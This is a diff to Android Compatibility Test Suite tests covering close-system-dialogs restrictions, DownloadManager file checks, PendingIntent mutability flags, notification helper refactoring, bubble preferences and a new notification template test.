+    @Test
+    public void testCloseSystemDialogsViaActivityManager_whenTestInstrumentedViaShell_isSent()
+            throws Exception {
+        mService = getService(APP_SELF);
+
+        mService.closeSystemDialogsViaActivityManager(REASON);
+
+        assertThat(mFakeView.getNextCloseSystemDialogsCallReason(TIMEOUT_MS)).isEqualTo(REASON);
+        assertCloseSystemDialogsReceived();
+    }
+
+    @Test
+    public void testCloseSystemDialogsViaActivityManager_whenRunningAsShell_isSent()
+            throws Exception {
+        mService = getService(APP_SELF);
+
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> mService.closeSystemDialogsViaActivityManager(REASON));
+
+        assertThat(mFakeView.getNextCloseSystemDialogsCallReason(TIMEOUT_MS)).isEqualTo(REASON);
+        assertCloseSystemDialogsReceived();
+    }
+
+    @Test
+    public void testCloseSystemDialogsViaActivityManager_whenTargetSdkCurrent_isBlockedAndThrows()
+            throws Exception {
+        mService = getService(APP_HELPER);
+
+        assertThrows(SecurityException.class,
+                () -> mService.closeSystemDialogsViaActivityManager(REASON));
+
+        assertThat(mFakeView.getNextCloseSystemDialogsCallReason(TIMEOUT_MS)).isEqualTo(null);
+        assertCloseSystemDialogsNotReceived();
+    }
+
+    @Test
+    public void testCloseSystemDialogsViaActivityManager_whenTargetSdk30_isBlockedButDoesNotThrow()
+            throws Exception {
+        setTargetSdk30();
+        mService = getService(APP_HELPER);
+
+        mService.closeSystemDialogsViaActivityManager(REASON);
+
+        assertThat(mFakeView.getNextCloseSystemDialogsCallReason(TIMEOUT_MS)).isEqualTo(null);
+        assertCloseSystemDialogsNotReceived();
+    }
+
+    private void setTargetSdk30() {
+        // TODO(b/159105552): For now we emulate targetSdk 30 by force-disabling the feature.
+        //   Remove this once the feature is enabled and use another app with lower targetSdk.
+        compat(APP_COMPAT_DISABLE, ActivityManager.LOCK_DOWN_CLOSE_SYSTEM_DIALOGS, APP_HELPER);
+        compat(APP_COMPAT_DISABLE, "NOTIFICATION_TRAMPOLINE_BLOCK", APP_HELPER);
+    }
+
+    private void setTargetCurrent() {
+        // TODO(b/159105552): For now we emulate current targetSdk by force-enabling the feature.
+        //   Remove this once the feature is enabled by default.
+        compat(APP_COMPAT_ENABLE, ActivityManager.LOCK_DOWN_CLOSE_SYSTEM_DIALOGS, APP_HELPER);
+    }
+
+    private void assertCloseSystemDialogsNotReceived() {
+        // If both broadcasts are sent, they will be received in order here since they are both
+        // registered receivers in the "bg" queue in system_server and belong to the same app.
+        // This is guaranteed by a series of handlers that are the same in both cases and due to the
+        // fact that the binder that system_server uses to call into the app is the same (since the
+        // app is the same) and one-way calls on the same binder object are ordered.
+        mSentinelReceived = new ConditionVariable(false);
+        Intent intent = new Intent(ACTION_SENTINEL);
+        intent.setPackage(mContext.getPackageName());
+        mContext.sendBroadcast(intent);
+        mSentinelReceived.block();
+        assertThat(mCloseSystemDialogsReceived.isDone()).isFalse();
+    }
+
+    private void assertCloseSystemDialogsReceived() throws Exception {
+        mCloseSystemDialogsReceived.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        // No TimeoutException thrown
+    }
+
+    private ICloseSystemDialogsTestsService getService(String packageName) throws Exception {
+        return ICloseSystemDialogsTestsService.Stub.asInterface(
+                connect(packageName).get(TIMEOUT_MS));
+    }
+
+    private FutureServiceConnection connect(String packageName) {
+        if (mConnection != null) {
+            return mConnection;
+        }
+        mConnection = new FutureServiceConnection();
+        Intent intent = new Intent();
+        intent.setComponent(ComponentName.createRelative(packageName, TEST_SERVICE));
+        assertTrue(mContext.bindService(intent, mConnection, Context.BIND_AUTO_CREATE));
+        return mConnection;
+    }
+
+    private String setHiddenApiPolicy(String policy) throws Exception {
+        return SystemUtil.callWithShellPermissionIdentity(() -> {
+            String previous = Settings.Global.getString(mResolver,
+                    Settings.Global.HIDDEN_API_POLICY);
+            Settings.Global.putString(mResolver, Settings.Global.HIDDEN_API_POLICY, policy);
+            return previous;
+        });
+    }
+
+    private static void compat(String command, String changeId, String packageName) {
+        SystemUtil.runShellCommand(
+                String.format("am compat %s %s %s", command, changeId, packageName));
+    }
+
+    private static void compat(String command, long changeId, String packageName) {
+        compat(command, Long.toString(changeId), packageName);
+    }
+
+    private static Context getContextForSaw(Context context) {
+        DisplayManager displayManager = context.getSystemService(DisplayManager.class);
+        Display display = displayManager.getDisplay(DEFAULT_DISPLAY);
+        Context displayContext = context.createDisplayContext(display);
+        return displayContext.createWindowContext(TYPE_APPLICATION_OVERLAY, null);
+    }
+
+    private class IntentReceiver extends BroadcastReceiver {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            switch (intent.getAction()) {
+                case Intent.ACTION_CLOSE_SYSTEM_DIALOGS:
+                    mCloseSystemDialogsReceived.complete(null);
+                    break;
+                case ACTION_SENTINEL:
+                    mSentinelReceived.open();
+                    break;
+            }
+        }
+    }
+
+    private class FutureReceiver extends ResultReceiver {
+        private final CompletableFuture<Integer> mFuture;
+
+        FutureReceiver(CompletableFuture<Integer> future) {
+            super(mMainHandler);
+            mFuture = future;
+        }
+
+        @Override
+        protected void onReceiveResult(int resultCode, Bundle resultData) {
+            mFuture.complete(resultCode);
+        }
+    }
+}
diff --git a/tests/app/src/android/app/cts/DownloadManagerTestBase.java b/tests/app/src/android/app/cts/DownloadManagerTestBase.java
index 3f6928f..f289557 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTestBase.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTestBase.java
@@ -21,6 +21,7 @@
 import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
@@ -49,6 +50,7 @@
 import androidx.test.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.SystemUtil;
 
 import org.junit.After;
 import org.junit.Before;
@@ -421,7 +423,13 @@
                     cursor.getColumnIndex(DownloadManager.COLUMN_STATUS)));
             assertEquals(Uri.fromFile(expectedLocation).toString(),
                     cursor.getString(cursor.getColumnIndex(DownloadManager.COLUMN_LOCAL_URI)));
-            assertTrue(expectedLocation.exists());
+
+            // Use shell to check if file is created as normal app doesn't have
+            // visibility to see other packages dirs.
+            String result = SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
+                    "file " + expectedLocation.getCanonicalPath());
+            assertFalse("Cannot create file in other packages",
+                    result.contains("No such file or directory"));
         } finally {
             if (cursor != null) {
                 cursor.close();
diff --git a/tests/app/src/android/app/cts/FragmentReceiveResultTest.java b/tests/app/src/android/app/cts/FragmentReceiveResultTest.java
index f20113b..ca4ae73 100644
--- a/tests/app/src/android/app/cts/FragmentReceiveResultTest.java
+++ b/tests/app/src/android/app/cts/FragmentReceiveResultTest.java
@@ -30,6 +30,8 @@
 
 import org.mockito.ArgumentCaptor;
 
+import java.util.concurrent.TimeUnit;
+
 /**
  * Tests Fragment's startActivityForResult and startIntentSenderForResult.
  */
@@ -55,7 +57,7 @@
         startActivityForResult(10, Activity.RESULT_OK, "content 10");
 
         ArgumentCaptor<Intent> captor = ArgumentCaptor.forClass(Intent.class);
-        verify(mFragment, times(1))
+        asyncVerifyOnce(mFragment)
                 .onActivityResult(eq(10), eq(Activity.RESULT_OK), captor.capture());
         final String data = captor.getValue()
                 .getStringExtra(FragmentResultActivity.EXTRA_RESULT_CONTENT);
@@ -67,7 +69,7 @@
         startActivityForResult(20, Activity.RESULT_CANCELED, "content 20");
 
         ArgumentCaptor<Intent> captor = ArgumentCaptor.forClass(Intent.class);
-        verify(mFragment, times(1))
+        asyncVerifyOnce(mFragment)
                 .onActivityResult(eq(20), eq(Activity.RESULT_CANCELED), captor.capture());
         final String data = captor.getValue()
                 .getStringExtra(FragmentResultActivity.EXTRA_RESULT_CONTENT);
@@ -79,7 +81,7 @@
         startIntentSenderForResult(30, Activity.RESULT_OK, "content 30");
 
         ArgumentCaptor<Intent> captor = ArgumentCaptor.forClass(Intent.class);
-        verify(mFragment, times(1))
+        asyncVerifyOnce(mFragment)
                 .onActivityResult(eq(30), eq(Activity.RESULT_OK), captor.capture());
         final String data = captor.getValue()
                 .getStringExtra(FragmentResultActivity.EXTRA_RESULT_CONTENT);
@@ -91,7 +93,7 @@
         startIntentSenderForResult(40, Activity.RESULT_CANCELED, "content 40");
 
         ArgumentCaptor<Intent> captor = ArgumentCaptor.forClass(Intent.class);
-        verify(mFragment, times(1))
+        asyncVerifyOnce(mFragment)
                 .onActivityResult(eq(40), eq(Activity.RESULT_CANCELED), captor.capture());
         final String data = captor.getValue()
                 .getStringExtra(FragmentResultActivity.EXTRA_RESULT_CONTENT);
@@ -130,6 +132,10 @@
         getInstrumentation().waitForIdleSync();
     }
 
+    private static <T> T asyncVerifyOnce(T mock) {
+        return verify(mock, timeout(TimeUnit.SECONDS.toMillis(10)).times(1));
+    }
+
     private void startIntentSenderForResult(final int requestCode, final int resultCode,
             final String content) {
         getInstrumentation().runOnMainSync(new Runnable() {
@@ -140,7 +146,7 @@
                 intent.putExtra(FragmentResultActivity.EXTRA_RESULT_CONTENT, content);
 
                 PendingIntent pendingIntent = PendingIntent.getActivity(mActivity,
-                        requestCode, intent, 0);
+                        requestCode, intent, PendingIntent.FLAG_IMMUTABLE);
 
                 try {
                     mFragment.startIntentSenderForResult(pendingIntent.getIntentSender(),
diff --git a/tests/app/src/android/app/cts/NotificationCarExtenderTest.java b/tests/app/src/android/app/cts/NotificationCarExtenderTest.java
index 20bf336..0345030 100644
--- a/tests/app/src/android/app/cts/NotificationCarExtenderTest.java
+++ b/tests/app/src/android/app/cts/NotificationCarExtenderTest.java
@@ -111,10 +111,10 @@
         final Intent testIntent = new Intent("testIntent");
         final PendingIntent testPendingIntent =
             PendingIntent.getBroadcast(mContext, 0, testIntent,
-            PendingIntent.FLAG_CANCEL_CURRENT);
+            PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         final PendingIntent testReplyPendingIntent =
             PendingIntent.getBroadcast(mContext, 0, testIntent,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         final RemoteInput testRemoteInput = new RemoteInput.Builder("key").build();
 
         final UnreadConversation testConversation =
diff --git a/tests/app/src/android/app/cts/NotificationChannelTest.java b/tests/app/src/android/app/cts/NotificationChannelTest.java
index 8c2e89c..c879337 100644
--- a/tests/app/src/android/app/cts/NotificationChannelTest.java
+++ b/tests/app/src/android/app/cts/NotificationChannelTest.java
@@ -82,6 +82,7 @@
                         .build());
         channel.setLightColor(Color.RED);
         channel.setDeleted(true);
+        channel.setDeletedTimeMs(1000);
         channel.setFgServiceShown(true);
         channel.setVibrationPattern(new long[] {299, 4562});
         channel.setBlockable(true);
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index 8a8e0cd..a0acdb7 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -17,6 +17,9 @@
 package android.app.cts;
 
 import static android.app.Notification.FLAG_BUBBLE;
+import static android.app.NotificationManager.BUBBLE_PREFERENCE_ALL;
+import static android.app.NotificationManager.BUBBLE_PREFERENCE_NONE;
+import static android.app.NotificationManager.BUBBLE_PREFERENCE_SELECTED;
 import static android.app.NotificationManager.IMPORTANCE_DEFAULT;
 import static android.app.NotificationManager.IMPORTANCE_HIGH;
 import static android.app.NotificationManager.IMPORTANCE_LOW;
@@ -45,6 +48,8 @@
 import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_SCREEN_OFF;
 import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_SCREEN_ON;
 import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_STATUS_BAR;
+import static android.app.cts.android.app.cts.tools.NotificationHelper.MAX_WAIT_TIME;
+import static android.app.cts.android.app.cts.tools.NotificationHelper.SHORT_WAIT_TIME;
 import static android.app.stubs.BubblesTestService.EXTRA_TEST_CASE;
 import static android.app.stubs.BubblesTestService.TEST_CALL;
 import static android.app.stubs.BubblesTestService.TEST_MESSAGING;
@@ -70,6 +75,8 @@
 import android.app.PendingIntent;
 import android.app.Person;
 import android.app.UiAutomation;
+import android.app.cts.android.app.cts.tools.FutureServiceConnection;
+import android.app.cts.android.app.cts.tools.NotificationHelper;
 import android.app.stubs.AutomaticZenRuleActivity;
 import android.app.stubs.BubbledActivity;
 import android.app.stubs.BubblesTestService;
@@ -147,7 +154,6 @@
 import java.util.Objects;
 import java.util.Set;
 import java.util.UUID;
-import java.util.concurrent.CompletableFuture;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
@@ -165,8 +171,6 @@
     private static final String DELEGATOR = "com.android.test.notificationdelegator";
     private static final String DELEGATE_POST_CLASS = DELEGATOR + ".NotificationDelegateAndPost";
     private static final String REVOKE_CLASS = DELEGATOR + ".NotificationRevoker";
-    private static final long SHORT_WAIT_TIME = 100;
-    private static final long MAX_WAIT_TIME = 2000;
     private static final String SHARE_SHORTCUT_ID = "shareShortcut";
     private static final String SHARE_SHORTCUT_CATEGORY =
             "android.app.stubs.SHARE_SHORTCUT_CATEGORY";
@@ -198,6 +202,7 @@
     private boolean mBubblesEnabledSettingToRestore;
     private INotificationUriAccessService mNotificationUriAccessService;
     private FutureServiceConnection mTrampolineConnection;
+    private NotificationHelper mNotificationHelper;
 
     @Override
     protected void setUp() throws Exception {
@@ -206,6 +211,7 @@
         mId = UUID.randomUUID().toString();
         mNotificationManager = (NotificationManager) mContext.getSystemService(
                 Context.NOTIFICATION_SERVICE);
+        mNotificationHelper = new NotificationHelper(mContext, () -> mListener);
         // clear the deck so that our getActiveNotifications results are predictable
         mNotificationManager.cancelAll();
 
@@ -382,43 +388,20 @@
     }
 
     private StatusBarNotification findPostedNotification(int id, boolean all) {
-        // notification is a bit asynchronous so it may take a few ms to appear in
-        // getActiveNotifications()
-        // we will check for it for up to 1000ms before giving up
-        for (long totalWait = 0; totalWait < MAX_WAIT_TIME; totalWait += SHORT_WAIT_TIME) {
-            StatusBarNotification n = findNotificationNoWait(id, all);
-            if (n != null) {
-                return n;
-            }
-            try {
-                Thread.sleep(SHORT_WAIT_TIME);
-            } catch (InterruptedException ex) {
-                // pass
-            }
-        }
-        return findNotificationNoWait(id, all);
+        return mNotificationHelper.findPostedNotification(id, all);
     }
 
     private StatusBarNotification findNotificationNoWait(int id, boolean all) {
-        for (StatusBarNotification sbn : getActiveNotifications(all)) {
-            if (sbn.getId() == id) {
-                return sbn;
-            }
-        }
-        return null;
+        return mNotificationHelper.findNotificationNoWait(id, all);
     }
 
     private StatusBarNotification[] getActiveNotifications(boolean all) {
-        if (all) {
-            return mListener.getActiveNotifications();
-        } else {
-            return mNotificationManager.getActiveNotifications();
-        }
+        return mNotificationHelper.getActiveNotifications(all);
     }
 
     private PendingIntent getPendingIntent() {
         return PendingIntent.getActivity(
-                getContext(), 0, new Intent(getContext(), this.getClass()), 0);
+                getContext(), 0, new Intent(getContext(), this.getClass()), PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 
     private boolean isGroupSummary(Notification n) {
@@ -534,7 +517,7 @@
         intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_SINGLE_TOP
                 | Intent.FLAG_ACTIVITY_CLEAR_TOP);
         intent.setAction(Intent.ACTION_MAIN);
-        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         if (data == null) {
             data = new Notification.BubbleMetadata.Builder(pendingIntent,
@@ -682,12 +665,16 @@
     }
 
     private void toggleListenerAccess(boolean on) throws IOException {
+        toggleListenerAccess(mContext, on);
+    }
+
+    public static void toggleListenerAccess(Context context, boolean on) throws IOException {
         String command = " cmd notification " + (on ? "allow_listener " : "disallow_listener ")
                 + TestNotificationListener.getId();
 
         runCommand(command, InstrumentationRegistry.getInstrumentation());
 
-        final NotificationManager nm = mContext.getSystemService(NotificationManager.class);
+        final NotificationManager nm = context.getSystemService(NotificationManager.class);
         final ComponentName listenerComponent = TestNotificationListener.getComponentName();
         assertEquals(listenerComponent + " has incorrect listener access",
                 on, nm.isNotificationListenerAccessGranted(listenerComponent));
@@ -730,7 +717,8 @@
     }
 
     @SuppressWarnings("StatementWithEmptyBody")
-    private void runCommand(String command, Instrumentation instrumentation) throws IOException {
+    private static void runCommand(String command, Instrumentation instrumentation)
+            throws IOException {
         UiAutomation uiAutomation = instrumentation.getUiAutomation();
         // Execute command
         try (ParcelFileDescriptor fd = uiAutomation.executeShellCommand(command)) {
@@ -2609,7 +2597,7 @@
 
         // wait for the activity to launch and finish
         mContext.startActivity(activityIntent);
-        Thread.sleep(500);
+        Thread.sleep(2000);
 
         NotificationChannel channel =
                 mContext.createPackageContextAsUser(DELEGATOR, /* flags= */ 0, mContext.getUser())
@@ -2657,20 +2645,35 @@
     }
 
     public void testAreBubblesAllowed_appNone() throws Exception {
-        setBubblesAppPref(0 /* none */);
+        setBubblesAppPref(BUBBLE_PREFERENCE_NONE);
         assertFalse(mNotificationManager.areBubblesAllowed());
     }
 
     public void testAreBubblesAllowed_appSelected() throws Exception {
-        setBubblesAppPref(2 /* selected */);
+        setBubblesAppPref(BUBBLE_PREFERENCE_SELECTED);
         assertFalse(mNotificationManager.areBubblesAllowed());
     }
 
     public void testAreBubblesAllowed_appAll() throws Exception {
-        setBubblesAppPref(1 /* all */);
+        setBubblesAppPref(BUBBLE_PREFERENCE_ALL);
         assertTrue(mNotificationManager.areBubblesAllowed());
     }
 
+    public void testGetBubblePreference_appNone() throws Exception {
+        setBubblesAppPref(BUBBLE_PREFERENCE_NONE);
+        assertEquals(BUBBLE_PREFERENCE_NONE, mNotificationManager.getBubblePreference());
+    }
+
+    public void testGetBubblePreference_appSelected() throws Exception {
+        setBubblesAppPref(BUBBLE_PREFERENCE_SELECTED);
+        assertEquals(BUBBLE_PREFERENCE_SELECTED, mNotificationManager.getBubblePreference());
+    }
+
+    public void testGetBubblePreference_appAll() throws Exception {
+        setBubblesAppPref(BUBBLE_PREFERENCE_ALL);
+        assertEquals(BUBBLE_PREFERENCE_ALL, mNotificationManager.getBubblePreference());
+    }
+
     public void testNotificationIcon() {
         int id = 6000;
 
@@ -3718,6 +3721,39 @@
                 channel.getId(), conversationId).isDemoted());
     }
 
+    public void testDeleteConversationChannels() throws Exception {
+        setUpNotifListener();
+
+        createDynamicShortcut();
+
+        final NotificationChannel channel =
+                new NotificationChannel(mId, "Messages", IMPORTANCE_DEFAULT);
+
+        final NotificationChannel conversationChannel =
+                new NotificationChannel(mId + "child",
+                        "Messages from " + SHARE_SHORTCUT_ID, IMPORTANCE_DEFAULT);
+        conversationChannel.setConversationId(channel.getId(), SHARE_SHORTCUT_ID);
+
+        mNotificationManager.createNotificationChannel(channel);
+        mNotificationManager.createNotificationChannel(conversationChannel);
+
+        mNotificationManager.notify(177, getConversationNotification().build());
+
+        if (!checkNotificationExistence(177, /*shouldExist=*/ true)) {
+            fail("couldn't find posted notification id=" + 177);
+        }
+        Thread.sleep(500); // wait for notification listener to receive notification
+        assertEquals(1, mListener.mPosted.size());
+
+        deleteShortcuts();
+
+        Thread.sleep(300); // wait for deletion to propagate
+
+        assertFalse(mNotificationManager.getNotificationChannel(channel.getId(),
+                conversationChannel.getConversationId()).isConversation());
+
+    }
+
     public void testActivityStartOnBroadcastTrampoline_isBlocked() throws Exception {
         setUpNotifListener();
         mListener.addTestPackage(TRAMPOLINE_APP);
@@ -3833,21 +3869,6 @@
         }
     }
 
-    private static class FutureServiceConnection implements ServiceConnection {
-        public final CompletableFuture<IBinder> future = new CompletableFuture<>();
-        public IBinder get(long timeoutMs) throws Exception {
-            return future.get(timeoutMs, TimeUnit.MILLISECONDS);
-        }
-        @Override
-        public void onServiceConnected(ComponentName name, IBinder service) {
-            future.complete(service);
-        }
-        @Override
-        public void onServiceDisconnected(ComponentName name) {
-            fail(name + " disconnected");
-        }
-    }
-
     private static class EventCallback extends Handler {
         private static final int BROADCAST_RECEIVED = 1;
         private static final int SERVICE_STARTED = 2;
diff --git a/tests/app/src/android/app/cts/NotificationTemplateTest.kt b/tests/app/src/android/app/cts/NotificationTemplateTest.kt
new file mode 100644
index 0000000..25b5d40
--- /dev/null
+++ b/tests/app/src/android/app/cts/NotificationTemplateTest.kt
@@ -0,0 +1,121 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.cts
+
+import android.R
+import android.app.Notification
+import android.app.stubs.NotificationHostActivity
+import android.content.Intent
+import android.graphics.Bitmap
+import android.test.AndroidTestCase
+import android.view.View
+import android.view.ViewGroup
+import android.widget.ImageView
+import android.widget.RemoteViews
+import androidx.annotation.DimenRes
+import androidx.lifecycle.Lifecycle
+import androidx.test.core.app.ActivityScenario
+import androidx.test.core.app.ActivityScenario.ActivityAction
+import com.google.common.truth.Truth.assertThat
+
+class NotificationTemplateTest : AndroidTestCase() {
+    fun testWideIcon_inCollapsedState_cappedTo16By9() {
+        val bitmap = Bitmap.createBitmap(200, 100, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(bitmap)
+                .createContentView()
+        checkViews(views) { activity ->
+            val root = activity.notificationRoot
+            val iconView = findIconView(root, bitmap)!!
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 16 / 9).toFloat())
+        }
+    }
+
+    fun testWideIcon_inCollapsedState_canShowExact4By3() {
+        val bitmap = Bitmap.createBitmap(400, 300, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(bitmap)
+                .createContentView()
+        checkViews(views) { activity ->
+            val root = activity.notificationRoot
+            val iconView = findIconView(root, bitmap)
+                    ?: throw NullPointerException("Unable to find ")
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 4 / 3).toFloat())
+        }
+    }
+
+    fun testWideIcon_inCollapsedState_neverNarrowerThanSquare() {
+        val bitmap = Bitmap.createBitmap(200, 300, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(bitmap)
+                .createContentView()
+        checkViews(views) { activity ->
+            val root = activity.notificationRoot
+            val iconView = findIconView(root, bitmap)!!
+            assertThat(iconView.width).isEqualTo(iconView.height)
+        }
+    }
+
+    private fun findIconView(root: View, icon: Bitmap): ImageView? {
+        (root as? ImageView)?.drawable?.also { drawable ->
+            if (drawable.intrinsicWidth == icon.width && drawable.intrinsicHeight == icon.height) {
+                return root
+            }
+        }
+        if (root is ViewGroup) {
+            for (i in 0 until root.childCount) {
+                findIconView(root.getChildAt(i), icon)?.also { return it }
+            }
+        }
+        return null
+    }
+
+    private fun checkViews(
+        views: RemoteViews,
+        @DimenRes heightDimen: Int? = null,
+        activityAction: ActivityAction<NotificationHostActivity>
+    ) {
+        val activityIntent = Intent(context, NotificationHostActivity::class.java)
+        activityIntent.putExtra(NotificationHostActivity.EXTRA_REMOTE_VIEWS, views)
+        heightDimen?.also {
+            activityIntent.putExtra(NotificationHostActivity.EXTRA_HEIGHT,
+                    context.resources.getDimensionPixelSize(it))
+        }
+        ActivityScenario.launch<NotificationHostActivity>(activityIntent).also { scenario ->
+            scenario.moveToState(Lifecycle.State.RESUMED)
+            scenario.moveToState(Lifecycle.State.STARTED)
+            scenario.moveToState(Lifecycle.State.CREATED)
+            scenario.onActivity(activityAction)
+            scenario.moveToState(Lifecycle.State.DESTROYED)
+        }
+    }
+
+    companion object {
+        const val DEBUG = false
+        val TAG = NotificationTemplateTest::class.java.simpleName
+        const val NOTIFICATION_CHANNEL_ID = "NotificationTemplateTest"
+    }
+}
\ No newline at end of file
diff --git a/tests/app/src/android/app/cts/NotificationTest.java b/tests/app/src/android/app/cts/NotificationTest.java
index d7c27b3..e718d10 100644
--- a/tests/app/src/android/app/cts/NotificationTest.java
+++ b/tests/app/src/android/app/cts/NotificationTest.java
@@ -147,11 +147,11 @@
         mNotification.icon = 0;
         mNotification.number = 1;
         final Intent intent = new Intent();
-        final PendingIntent pendingIntent = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mNotification.contentIntent = pendingIntent;
         final Intent deleteIntent = new Intent();
         final PendingIntent delPendingIntent = PendingIntent.getBroadcast(
-                mContext, 0, deleteIntent, 0);
+                mContext, 0, deleteIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mNotification.deleteIntent = delPendingIntent;
         mNotification.tickerText = TICKER_TEXT;
 
@@ -251,7 +251,7 @@
 
     public void testBuilder() {
         final Intent intent = new Intent();
-        final PendingIntent contentIntent = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+        final PendingIntent contentIntent = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification.BubbleMetadata bubble = makeBubbleMetadata();
         mNotification = new Notification.Builder(mContext, CHANNEL.getId())
                 .setSmallIcon(1)
@@ -292,7 +292,7 @@
 
     public void testActionBuilder() {
         final Intent intent = new Intent();
-        final PendingIntent actionIntent = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+        final PendingIntent actionIntent = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mAction = null;
         mAction = new Notification.Action.Builder(0, ACTION_TITLE, actionIntent)
                 .setAuthenticationRequired(true)
@@ -551,7 +551,7 @@
     }
 
     public void testAction_builder_contextualAction_nullIcon() {
-        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification.Action.Builder builder =
                 new Notification.Action.Builder(null /* icon */, "title", pendingIntent)
                 .setContextual(true);
@@ -628,8 +628,8 @@
     }
 
     public void testBubbleMetadataBuilder() {
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
-        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
+        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Icon icon = Icon.createWithResource(mContext, 1);
         Notification.BubbleMetadata.Builder metadataBuilder =
                 new Notification.BubbleMetadata.Builder(bubbleIntent, icon)
@@ -646,8 +646,8 @@
     }
 
     public void testBubbleMetadata_parcel() {
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
-        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
+        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Icon icon = Icon.createWithResource(mContext, 1);
         Notification.BubbleMetadata metadata =
                 new Notification.BubbleMetadata.Builder(bubbleIntent, icon)
@@ -667,7 +667,7 @@
     }
 
     public void testBubbleMetadataBuilder_shortcutId() {
-        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification.BubbleMetadata.Builder metadataBuilder =
                 new Notification.BubbleMetadata.Builder(BUBBLE_SHORTCUT_ID)
                         .setDesiredHeight(BUBBLE_HEIGHT)
@@ -682,7 +682,7 @@
     }
 
     public void testBubbleMetadataBuilder_parcelShortcutId() {
-        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         Notification.BubbleMetadata metadata =
                 new Notification.BubbleMetadata.Builder(BUBBLE_SHORTCUT_ID)
@@ -701,7 +701,7 @@
     }
 
     public void testBubbleMetadata_parcelResId() {
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Icon icon = Icon.createWithResource(mContext, 1);
